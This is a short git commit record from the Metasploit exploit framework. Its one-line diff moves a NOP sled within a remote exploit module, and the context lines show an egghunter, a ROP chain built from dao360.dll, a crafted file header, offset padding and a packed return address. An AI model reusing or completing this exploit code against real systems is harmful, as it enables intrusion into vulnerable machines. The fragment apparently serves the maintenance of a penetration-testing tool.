Fix for nops

git-svn-id: file:///home/svn/framework3/trunk@12639 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Wei Chen 2011-05-16 19:30:17 +00:00
parent 95700687de
commit 4f56444f2c
1 changed files with 1 additions and 1 deletions

View File

@ -87,7 +87,6 @@ class Metasploit3 < Msf::Exploit::Remote
badchars = "\x00"
hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)
hunter = make_nops(10) + hunter
#dao360.dll - pvefindaddr rop 'n roll
rop_chain = [
@ -150,6 +149,7 @@ class Metasploit3 < Msf::Exploit::Remote
header = "\x00\x04\x01\x00\x34\x12\x0D\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
header << rand_text(14)
sploit = rop_chain
sploit << "\x90" * 10
sploit << hunter
sploit << rand_text(target['Offset'] - (sploit.length))
sploit << [target.ret].pack('V')